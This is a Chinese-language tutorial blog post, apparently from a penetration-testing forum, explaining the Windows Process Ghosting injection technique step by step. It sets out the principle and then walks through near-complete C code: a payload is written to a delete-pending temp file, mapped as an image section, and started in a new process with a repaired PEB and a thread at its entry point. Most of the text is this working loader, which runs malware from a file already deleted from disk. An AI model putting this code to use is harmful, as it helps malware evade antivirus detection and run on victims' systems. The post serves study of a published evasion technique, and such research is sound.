Process Ghosting学习

记录一下学习Process Ghosting的过程,主要涉及到Process Ghosting的原理和代码实现过程。

0x00 简介

Process Ghosting是一种进程注入的方式,既通过修改文件的内容,修改文件映射到内存中的数据,达到执行恶意软件的目的,使用此技术可以执行已删除的恶意软件。

文章主要内容如下

程序启动过程

Process Ghosting技术原理

ProcessGhosting代码实现及代码解析

0x01 程序启动过程

进程概述

每个进程都会对应一个硬盘上的可执行文件,进程指的是一块空间,进程并不负责执行代码,进程由一个进程的内核对象和一块空间组成,空间中包含可执行文件/dll的代码和数据,线程用来执行进程空间中的代码。

简单地说:进程提供要执行的代码,线程执行这些代码。

程序启动过程

  1. 读取可执行文件到内存
  2. 将可执行文件从filebuffer(磁盘上的状态)拉伸程imagebuffer(运行时的状态)
  3. 加载程序运行所需dll
  4. 修复程序的Iat表
  5. 根据程序的ImageBase申请内存
  6. 如果在指定位置申请内存成功就不需要重定位,接着直接执行第9步
  7. 如果在指定位置申请内存失败,则在任意位置申请内存
  8. 根据内存的地址对程序进行重定位,接着执行第10步
  9. 通过ImageBase+AddressOfEntryPoint得到程序入口点
  10. 使用申请的内存地址+AddressOfEntryPoint得到程序入口点
  11. 得到程序入口点后创建线程执行。

0x02 Process Ghosting原理

通过修改设置了删除属性的文件在内存中的映射执行恶意程序(在关闭文件句柄后,文件将被删除),Process Ghosting与Process Hollowing有异曲同工之妙,Process Ghosting是把payload写入到文件中,然后映射文件到内存中,而Process Hollowing则是使用payload替换掉了傀儡程序的映射文件。

大致过程

首先创建一个文件并为它设置删除属性,然后把payload写入到此文件中,接着为此文件在内存中创建一个映射(把此文件读取到内存中),这时销毁文件的内核对象(关闭文件的句柄),然后硬盘上创建的文件就会被删除。

0x03 Process Ghosting过程

  1. 读取payload到内存中

  2. 创建一个临时文件

  3. 调用NtCreateFile函数打开这个文件并得到它的句柄

  4. 根据得到的句柄,调用NtSetInformationFile函数设置删除属性

  5. 根据句柄,调用NtWriteFile函数将payloa写入到临时文件中

  6. 调用NtCreateSection函数为对应的文件创建一份映射,也就是把文件的数据读取到内存中

  7. 调用CloseHandle函数关闭文件句柄,句柄关闭后,文件将被删除

  8. 调用NtCreateProcessEx函数使用创建的映射节,创建一个挂起进程

  9. 调用NtQueryInformationProcess函数查询新建进程的Peb地址,为修复创建进程的peb做准备

  10. 调用ReadProcessMemory读取新建进程的peb信息到本程序中

  11. 根据Payload的pe信息得到AddressOfEntryPoint(Oep),然后根据新建进程的peb信息得到payload的ImageBase

  12. 调用RtlCreateProcessParametersEx函数创建新建进程的参数信息

  13. 调用VirtualAllocEx在新建进程中申请内存,为写入进程参数做准备

  14. 调用WriteProcessMemory将进程参数写入到新建进程中

  15. 调用WriteProcessMemory修复新建进程peb结构的ProcessParameters成员,让此成员指向刚才写入的进程参数

  16. 调用NtCreateThreadEx创建线程,执行刚才得到的入口点 0x04 Process Ghosting代码解析

    ok!Process Ghosting的原理和流程上面已经说过了,下面来看Process Ghosting的代码解析。

    initFunc函数

    因为代码调用了一系列Native函数,这些函数无法直接使用,所以我们需要根据函数的定义,使用typedef定义这些函数的函数指针,接着调用LoadlibraryGetProcAddress得到对应的函数地址,然后使用函数地址为定义的函数指针赋值,接着调用函数指针就可以调用这些函数。

先看一下typedef的用法。


typedef 返回类型(新的类型)(参数)
使用typedef可以为某个类型,起一个新的名字,也可以理解成为现有的类型起一个别名,它还可以直接定义一个新的类型。

栗子

typedef NTSTATUS(NTAPI* pNtCreateFile)(PHANDLE FileHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK   IoStatusBlock,
    PLARGE_INTEGER     AllocationSize,
    ULONG              FileAttributes,
    ULONG              ShareAccess,
    ULONG              CreateDisposition,
    ULONG              CreateOptions,
    PVOID              EaBuffer,
    ULONG              EaLength
    );

typedef NTSTATUS(NTAPI* pNtCreateFile)定义了一个pNtCreateFile类型的函数指针,这个函数指针的返回值是NTSTATUS,第二个括号里是这个函数指针的参数列表。
好的typedef已经介绍过了,下面来看initFunc的实现

HMODULE hModule = LoadLibraryW(L"ntdll.dll");
NtCreateFile = (pNtCreateFile)GetProcAddress(hModule, "NtCreateFile");
NtWriteFile = (pNtWriteFile)GetProcAddress(hModule, "NtWriteFile");
RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(hModule, "NtSetInformationFile");
NtCreateSection = (pNtCreateSection)GetProcAddress(hModule, "NtCreateSection");
NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(hModule, "NtCreateProcessEx");
NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
RtlCreateProcessParametersEx = (pRtlCreateProcessParametersEx)GetProcAddress(hModule, "RtlCreateProcessParametersEx");
NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hModule, "NtCreateThreadEx");

虽然代码看着很多,但是大部分都是在做相同的事情,所以只介绍其中比较重要的部分。

HMODULE hModule = LoadLibraryW(L"ntdll.dll");LoadLibraryW函数用来加载一个dll,因为我们要用到ntdll中的一些函数,所以要把它加载进来,此函数的返回值是加载的dll的句柄。

NtCreateFile = (pNtCreateFile)GetProcAddress(hModule, "NtCreateFile");
NtCreateFilepNtCreateFile类型的一个全局变量,GetProcAddress函数功能是根据传入的dll句柄和函数名得到对应的函数地址,第一个参数是,函数所在Dll的句柄,第二个参数是函数的名字,此函数的返回值是对应的函数地址,因为返回值是FAPROC类型,所以需要强转成pNtCreateFile类型。


ReadFile2Memory函数

此函数功能是根据传入的路径读取payload到内存中,并返回payload的大小。

函数实现

PVOID ReadFile2Memory(PCWSTR Path, PDWORD Size) {//读取要执行的文件到内存中
    DWORD ReadByte = NULL;
    HANDLE hFile = CreateFileW(Path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("CreateFileW Error:Code:%d\n", GetLastError());
        return 0;
    }
    *Size = GetFileSize(hFile, NULL);
    PVOID buffer = VirtualAlloc(NULL, *Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (buffer == NULL) {
        printf("VirtualAlloc Error Code:%d\n", GetLastError());
        return 0;
    }
    BOOL Code = ReadFile(hFile, buffer, *Size, &ReadByte, NULL);
    if (Code == NULL) {
        printf("ReadFile Error Code:%d\n", GetLastError());
        return 0;
    }
    CloseHandle(hFile);
    hFile = NULL;
    printf("Read Payload To Memory Success Addr:%x\n", buffer);
    return buffer;
}

主要是通过调用CreateFile函数得到文件的句柄,然后使用GetFileSize函数得到文件大小,接着调用VirtualAlloc函数申请对应的空间,为调用ReadFile函数内存做准备,最后调用ReadFile函数读取文件到刚刚申请的空间中。


CreateFileW函数定义

HANDLE CreateFileW(
  [in]           LPCWSTR               lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
  • lpFileName指向要打开文件的路径
  • dwDesiredAccess代表函数返回的句柄需要哪种访问类型
  • dwShareMode是文件的请求共享模式,就是我在访问这个文件的时候,别的进程可不可以访问这个文件
  • lpSecurityAttributes指向SECURITY_ATTRIBUTES结构的指针,一般操作内核对象的函数都会有这个参数,为NULL即可
  • dwCreationDisposition文件存在时我要做什么操作,不存在时做什么操作
  • dwFlagsAndAttributes文件的属性
  • hTemplateFile为NULL即可
*Size = GetFileSize(hFile, NULL);
PVOID buffer = VirtualAlloc(NULL, *Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

GetFileSize函数功能是得到句柄对应文件的大小,VirtualAlloc函数功能是申请一块内存,这两行代码在为读取payload到内存中做准备。
BOOL Code = ReadFile(hFile, buffer, *Size, &ReadByte, NULL);通过调用ReadFile函数读取payload到内存中。

ReadFile定义

BOOL ReadFile(
  [in]                HANDLE       hFile,
  [out]               LPVOID       lpBuffer,
  [in]                DWORD        nNumberOfBytesToRead,
  [out, optional]     LPDWORD      lpNumberOfBytesRead,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

ReadFile函数功能是从一个文件句柄中读取数据到指定缓冲区,hFile要读取文件的句柄,lpBuffer接收读取文件数据的缓冲区指针,nNumberOfBytesToRead代表读取多少数据(字节),lpNumberOfBytesRead代表读取了多少字节,lpOverlapped为NULL即可。

main函数解析

因为代码比较长,所以我们一部分一部分的看。

InitFunc();
DWORD bufSize = 0;
PVOID buf=ReadFile2Memory(L"C:\\Users\\Admin\\Desktop\\test.exe",&bufSize);//读取文件到内存中
WCHAR tmpPath[MAX_PATH] = {0}; 
WCHAR tmpFilePath[MAX_PATH] = { 0 };
GetTempPathW(MAX_PATH, tmpPath);
GetTempFileNameW(tmpPath, L"R", 0, tmpFilePath);

GetTempPathW函数功能是,得到系统存储临时文件的路径,并把路径返回到第二个参数指向的缓冲区中,第一个参数是缓冲区的大小。

GetTempFileNameW函数功能是,在tmpPath目录下下生成一个临时文件,这个文件的名字是以R开头的,然后返回生成临时文件的路径到tmpFilePath中。

代码首先调用了InitFunc函数初始化Native系列api,然后调用ReadFile2Memory函数读取文件到内存中,并返回读取文件的大小,接着创建了一个临时文件,并返回了临时文件的路径。

HANDLE hFile = NULL;
WCHAR t_Path[MAX_PATH] = { L"\\??\\" };
StringCchCatExW(t_Path, MAX_PATH, tmpFilePath, NULL, NULL, NULL);
UNICODE_STRING uString = { 0 };
RtlInitUnicodeString(&uString, t_Path);//使用t_path的路径字符串初始化ustring结构

StringCchCatExW函数功能是拼接字符串,第一个参数是目标缓冲区,此缓冲区中包含要与第三个参数连接的字符串,它们连接的结果会存放到此缓冲区中,第二个参数是目标缓冲区的大小,第三个参数是要与目标缓冲区连接的字符串,剩下的参数为NULL即可。

UNICODE_STRING结构定义

typedef struct _UNICODE_STRING {
  USHORT Length;//缓冲区中字符串的长度
  USHORT MaximumLength;//缓冲区的大小
  PWSTR  Buffer;//指向字符串的指针
} UNICODE_STRING, *PUNICODE_STRING;

RtlInitUnicodeString函数功能是将一个UNICODE字符串初始化到一个UNICODE_STRING结构。

这里初始化的意思,就是将这个UNICODE字符串相关的属性(如 字符长度,缓冲区大小等)赋值给UNICODE_STRING结构的成员。

RtlInitUnicodeString函数的第一个参数是一个指针,它指向要初始化的UNICODE_STRING结构,第二个参数也是一个指针,指向一个UNICODE字符串,在调用完此函数后uString的成员将会是这个字符串的属性。

OBJECT_ATTRIBUTES object = { 0 };
InitializeObjectAttributes(&object, &uString, OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK block = { 0 };
OBJECT_ATTRIBUTES attr = { 0 };
InitializeObjectAttributes(&attr, &uString, OBJ_CASE_INSENSITIVE, NULL, NULL);

InitializeObjectAttributes宏功能是用一个UNICODE_STRING结构初始化OBJECT_ATTRIBUTES结构。

第一个参数是一个指向OBJECT_ATTRIBUTES结构的指针,第二个参数指向一个UNICODE_STRING结构数组,第三个参数是一个标志,这个标志用于设置对象句柄属性,最后两个参数为NULL即可。

OBJECT_ATTRIBUTES结构定义

typedef struct _OBJECT_ATTRIBUTES {
  ULONG           Length;
  HANDLE          RootDirectory;//NULL即可
  PUNICODE_STRING ObjectName;
  ULONG           Attributes;//设置对象句柄的属性标志
  PVOID           SecurityDescriptor;//安全描述符,为NULL代表使用默认安全属性
  PVOID           SecurityQualityOfService;//NULL即可
} OBJECT_ATTRIBUTES;

ObjectName成员是一个UNICODE_STRING结构的指针,Lengt代表此结构的长度。

IO_STATUC_BLOCK结构定义

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;//IRP完成状态
        PVOID    Pointer;
    };
    ULONG_PTR Information;//这个成员的值依赖于请求的值
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

I/O状态块,显示I/O请求的状态,此结构将作为NtCreateFile的参数使用,NtCreateFile调用后会设置此结构的值。下面两行代码做的事情上文已经说过了,就不再赘述。

NtCreateFile定义

__kernel_entry NTSTATUS NtCreateFile(
  [out]          PHANDLE            FileHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in]           POBJECT_ATTRIBUTES ObjectAttributes,
  [out]          PIO_STATUS_BLOCK   IoStatusBlock,
  [in, optional] PLARGE_INTEGER     AllocationSize,
  [in]           ULONG              FileAttributes,
  [in]           ULONG              ShareAccess,
  [in]           ULONG              CreateDisposition,
  [in]           ULONG              CreateOptions,
  [in]           PVOID              EaBuffer,
  [in]           ULONG              EaLength
);
  • FileHandle指向一个句柄,在函数调用成功后,将会把打开文件的句柄放入到此参数指向的句柄中
  • DesireAccess用于指定对文件的访问权限
  • ObjectAttributes是一个指向OBJECT_ATTRIBUTES结构的指针
  • IoStatusBlock是一个IO_STATUS_BLOCK结构的指针,此结构用于接收完成状态和请求信息
  • AllocationSize文件初始创建大小为NULL即可
  • FileAttributes代表创建文件或覆盖时设置的属性
  • ShareAccess代表共享的访问类型就是在调用此函数的时候允不允许其他线程执行读写操作
  • CreateDisposition当文件不存在时做做的操作
  • CreateOptions创建或打开文件时要做的操作
NTSTATUS status=NtCreateFile(&hFile, GENERIC_ALL, &object, &block, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE, FILE_SEQUENTIAL_ONLY, NULL,NULL);

上面这行代码主要作用是,打开临时文件并得到它的句柄,为设置删除属性和写入payload到此文件中做准备。

NtSetInformationFile定义

__kernel_entry NTSYSCALLAPI NTSTATUS NtSetInformationFile(
  [in]  HANDLE                 FileHandle,
  [out] PIO_STATUS_BLOCK       IoStatusBlock,
  [in]  PVOID                  FileInformation,
  [in]  ULONG                  Length,
  [in]  FILE_INFORMATION_CLASS FileInformationClass
);
  • FileHandle是要设置信息的文件句柄
  • IoStatusBlock指向一个IO_STATUS_BLOCK结构的指针
  • FileInformation指向存储要设置信息的缓冲区,此参数根据FileInformationClass设置
  • Length设置缓冲区的大小
  • FileInformationClass表示FileInformation参数指向的缓冲区中的信息类型
IO_STATUS_BLOCK deleteBlock = { 0 };
FILE_DISPOSITION_INFORMATION_EX fileInfo = { 0 };
fileInfo.Flags = TRUE;
status=NtSetInformationFile(hFile, &deleteBlock, &fileInfo, sizeof(FILE_DISPOSITION_INFORMATION_EX), FileDispositionInformation);

FILE_DISPOSITION_INFORMATION_EX结构只有一个Flag成员,此成员用于指定系统如何删除文件。

这段代码主要是定义了一个FILE_DISPOSITION_INFORMATION_EX结构,如果此结构的Flag成员为1,代表要删除文件,接着调用了NtSetInformationFile函数,为文件设置删除属性。

需要注意的是,在为文件设置完删除属性后,文件并不会会被删除,而是在文件的内核对象销毁后才会被删除。

NtWriteFile定义

__kernel_entry NTSYSCALLAPI NTSTATUS NtWriteFile(
  [in]           HANDLE           FileHandle,
  [in, optional] HANDLE           Event,
  [in, optional] PIO_APC_ROUTINE  ApcRoutine,
  [in, optional] PVOID            ApcContext,
  [out]          PIO_STATUS_BLOCK IoStatusBlock,
  [in]           PVOID            Buffer,
  [in]           ULONG            Length,
  [in, optional] PLARGE_INTEGER   ByteOffset,
  [in, optional] PULONG           Key
);

FileHandle要写入内容的文件的句柄
Event写入操作完成后要设置状态的事件的句柄
ApcRoutine保留参数NULL即可
ApcContext保留参数NULL即可
IoStatusBlock指向一个IO_STATUS_BLOCK结构的指针
Buffer指向一个缓冲区的指针,缓冲区中存储了要写入的内容
Length代表缓冲区的大小
ByteOffset一个偏移量,指定了要从文件哪里开始写入
Key填NULL即可

IO_STATUS_BLOCK writeBlock = { 0 };
LARGE_INTEGER ByteOffset = {0};
status=NtWriteFile(hFile, NULL, NULL, NULL, &writeBlock, buf, bufSize, &ByteOffset, NULL);

这段代码主要作用是将payload写入到临时文件中,为给临时文件创建节做准备。

NtCreateSection定义

__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);
  • SectionHandle一个指针,用于接收此函数返回的节的句柄
  • DesiredAccess对节的访问权限
  • ObjectAttributes指向OBJECT_ATTRIBUTES结构的指针
  • MaximumSize节的最大大小
  • SectionPageProtection节所在内存的属性
  • AllocationAttributes节的属性
  • FileHandle文件句柄,也就是要为哪一个文件创建一个节 ```php
    HANDLE hSection = NULL;
    status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);

代码主要作用是为临时文件在内存中创建一个节,也可以理解为把临时文件读取到内存中。

NtCreateProcessEx定义

typedef NTSTATUS(NTAPI* pNtCreateProcessEx)(
    OUT PHANDLE ProcessHandle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_ATTRIBUTES   ObjectAttributes,
    IN HANDLE   ParentProcess,
    IN ULONG    Flags,
    IN HANDLE   SectionHandle,
    IN HANDLE   DebugPort,
    IN HANDLE   ExceptionPort,
    IN BOOLEAN  InJob
    );
  • ProcessHandle是一个指针,用于接收函数完返回的进程句柄
  • DesiredAccess对进程的访问权限
  • ObjectAttributes指向OBJECT_ATTRIBUTES结构的指针
  • ParentProcess父进程的句柄
  • Flags进程创建的标志
  • SectionHandle节的句柄
CloseHandle(hFile);//临时文件会被删除
HANDLE hProcess = NULL;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), CREATE_SUSPENDED, hSection, NULL, NULL, NULL);

CloseHandle函数用于关闭临时文件的句柄,在句柄关闭后临时文件将被删除,接着调用了NtCreateProcessEx函数为创建的节,创建了一个挂起的进程。

PROCESS_BASIC_INFORMATION结构定义

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PPEB PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
  • Exitstatus代表进程的终止状态
  • PebBaseAddress指向进程的Peb结构地址
  • AffinityMask代表进程的关联掩码
  • BasePriority代表进程优先级
  • UniqueProcessId代表进程id
  • InheritedFromUniqueProcessId代表父进程id
    NtQueryInformationProcess定义
__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
  • ProcessHandle进程的句柄
  • ProcessInformationClass要查询的信息类型
  • ProcessInformation指向PROCESS_BASIC_INFORMATION结构的指针ReturnLength查询到的信息的大小 ```php
    PROCESS_BASIC_INFORMATION ProcessInfo = { 0 };
    NtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcessInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL);

代码功能通过调用NtQueryInformationProcess函数查询新建进程的信息,主要是为了得到新建进程的Peb地址。

PEB peb = { 0 };
ReadProcessMemory(hProcess, ProcessInfo.PebBaseAddress, &peb, sizeof(PEB), NULL);
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)buf;
PIMAGE_NT_HEADERS32 Nt = (PIMAGE_NT_HEADERS32)((PBYTE)buf + Dos->e_lfanew);
ULONGLONG oep = (DWORD)Nt->OptionalHeader.AddressOfEntryPoint;
ULONGLONG Entry = (ULONGLONG)peb.ImageBaseAddress + oep;//新建进程的入口点

因为Peb结构体的成员太多,所以只介绍代码中用到的成员
ProcessParameters是一个指向RTL_USER_PROCESS_PARAMETERS结构的指针,至于RTL_USER_PROCESS_PARAMETERS结构下面会介绍。
ImageBaseAddress进程加载时的基地址(ImageBase)。

ReadProcessMemory函数功能是从指定的进程中读取数据,第一个参数是要读取数据的进程的句柄,第二个参数是要读取数据的地址也就是要从哪里开始读取,第三个参数是读取的数据放到哪里,第四个参数是存放读取数据缓冲区的大小,第五个NULL即可。

然后通过payload的pe信息得到了payload的AddressOfEntryPoint(Oep),接着通过peb结构得到了payload的ImageBase,接着ImageBaseAddressOfEntryPoint相加得到payload的真正入口点。

ok!到了这一步,主要的工作已经做完了,下面的代码主要是为进程创建一个进程参数,并修复Peb结构中的ProcessParameter成员,修复ProcessParameter这一步很重要,如果不修复会导致创建的进程无法运行。

PRTL_USER_PROCESS_PARAMETERS结构定义

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];//系统保留
  PVOID          Reserved2[10];//系统保留
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

前两个成员都是系统保留的。

  • ImagePathName代表进程文件的路径
  • CommandLine代表进程的命令行参数
    RTL_USER_PROCESS_PARAMETERS结构用于保存进程启动时的信息,此结构在未来的windows版本中可能被修改(现在已经改过了><)。
    RtlCreateProcessParametersEx定义
typedef NTSTATUS(NTAPI* pRtlCreateProcessParametersEx)(PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
PUNICODE_STRING ImagePathName, 
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory, 
PUNICODE_STRING CommandLine, 
PVOID Environment, 
PUNICODE_STRING WindowTitle, 
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo, 
PUNICODE_STRING RuntimeData, 
ULONG Flags
);

  • pProcessParameters是一个指向RTL_USER_PROCESS_PARAMETERS结构的指针
  • ImagePathName指向一个UNICODE_STRING结构,此结构中存储了进程的路径
    剩下的成员都是与进程有关的信息,如环境变量,进程的命令行,进程的窗口标题等信息。 ```php
    UNICODE_STRING ImagePath = { 0 };
    RtlInitUnicodeString(&ImagePath, L"coo");
    PRTL_USER_PROCESS_PARAMETERS parameters = { 0 };
    RtlCreateProcessParametersEx(&parameters, &ImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);

RtlCreateProcessParametersEx函数功能是使用UNICODE_STRING结构初始化RTL_USER_PROCESS_PARAMETERS结构。

这段代码功能是使用一个指向UNICODE_STRING结构的指针,设置参数中进程的路径,此结构中包含进程路径的字符串,但这个字符串不一定必须是是路径字符串,也可以是别的字符串,这个参数(ImagePath)不可以为null。

需要注意的点
关于RTL_USER_PROCESS_PARAMETERS结构,有一点需要注意的是,此结构已经被修改,这里给出修改后的定义。

typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;                            // Should be set before call RtlCreateProcessParameters
    ULONG Length;                                   // Length of valid structure
    ULONG Flags;                                    // Currently only PPF_NORMALIZED (1) is known:
                                                    //  - Means that structure is normalized by call RtlNormalizeProcessParameters
    ULONG DebugFlags;

    PVOID ConsoleHandle;                            // HWND to console window associated with process (if any).
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;

    CURDIR CurrentDirectory;                        // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32"
    UNICODE_STRING DllPath;                         // DOS-like paths separated by ';' where system should search for DLL files.
    UNICODE_STRING ImagePathName;                   // Full path in DOS-like format to process'es file image.
    UNICODE_STRING CommandLine;                     // Command line
    PVOID Environment;                              // Pointer to environment block (see RtlCreateEnvironment)
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;                            // Fill attribute for console window
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;                     // Name of WindowStation and Desktop objects, where process is assigned
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20];
    ULONG EnvironmentSize;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

下面代码的作用是将进程的参数块写入到创建的进程中。

ULONG_PTR End = (ULONG_PTR)parameters + parameters->Length;
SIZE_T buffer_size = End - (ULONG_PTR)parameters;
if (VirtualAllocEx(hProcess, parameters, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) 
{
    if (!WriteProcessMemory(hProcess, (LPVOID)parameters, (LPVOID)parameters, parameters->Length, NULL)) 
    {
        printf("Write Process Parameters Error:%d\n", GetLastError());
        return;
    }
}

ULONG_PTR End = (ULONG_PTR)parameters + parameters->Length;将结构体首地址与Length成员相加得到结束地址。

SIZE_T buffer_size = End - (ULONG_PTR)para;使用结束地址减去结构体首地址,得到RTL_USER_PROCESS_PARAMETERS结构的大小。

VirtualAllocEx(hProcess, para, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)调用VirtualAllocEx函数在创建的新进程的指定位置申请内存内存,为写入参数块做准备。

WriteProcessMemory(hProcess, (LPVOID)para, (LPVOID)para, para->Length, NULL调用WriteProcessMemory函数将进程参数块写入到新进程的内存中。

代码主要作用是,在新创建的进程中的指定位置分配内存,然后将参数块写入到新申请的内存中。

下面的代码作用是修复新进程的Peb结构的ProcessParameters成员

SIZE_T written = 0;
PPEB te = ProcessInfo.PebBaseAddress;
if (!WriteProcessMemory(hProcess, &te->ProcessParameters, &para, sizeof(PVOID),&written))
{
    printf("Process Parameter Address Error!");
    return;
}

PPEB te = ProcessInfo.PebBaseAddress;得到新进程的peb地址,为修复Peb结构的ProcessParameter成员做准备。

WriteProcessMemory(hProcess, &te->ProcessParameters, &para, sizeof(PVOID),&written)将进程参数块的地址写入到新进程Peb结构的ProcessParameters成员中。

至此,新进程的参数已经修复好了,下一步调用NtCreateThreadEx为新进程创建一个线程然后它就可以执行了。

NtCreateThreadEx定义

typedef NTSTATUS(NTAPI* pNtCreateThreadEx)(PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine, 
PVOID Argument , 
ULONG CreateFlags, 
SIZE_T ZeroBits, 
SIZE_T StackSize, 
SIZE_T MaximumStackSize, 
PPS_ATTRIBUTE_LIST AttributeList 
);

  • ThreadHandle是一个指针,用于接收函数完返回的线程句柄
  • DesiredAccess对线程的访问权限
  • ObjectAttributes指向OBJECT_ATTRIBUTES结构的指针
  • ProcessHandle进程的句柄,代表要为哪一个进程创建一个线程
  • STartToutine是线程的入口点,也就是创建的线程要执行的函数/代码
  • Argument执行的函数的参数
  • CreateFlags标志,表示创建出来的线程是什么状态
HANDLE hThread = NULL;
status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)Entry, NULL, FALSE, 0, 0, 0, NULL);

代码作用是,调用NtCreateThreadEx函数为新进程创建一个线程,线程执行的函数是payload的入口点,NtCreateThreadEx函数调用后payload就会开始运行。

0x05总结

Process Ghosting技术,并不是真正的无文件,而是先创建一个文件把它映射到内存中,然后再删除它,所以整个过程中,payload还是会有一段时间在硬盘上存在。

非常感谢您读到这里,由于作者水平有限,文章中难免会出现一些错误,恳请各位师傅们批评指正。

0x06参考

https://github.com/hasherezade/process_ghosting
https://github.com/knightswd/ProcessGhosting

  • 发表于 2023-03-13 09:00:02
  • 阅读 ( 7302 )
  • 分类:渗透测试

0 条评论

请先 登录 后评论
ring3
ring3

7 篇文章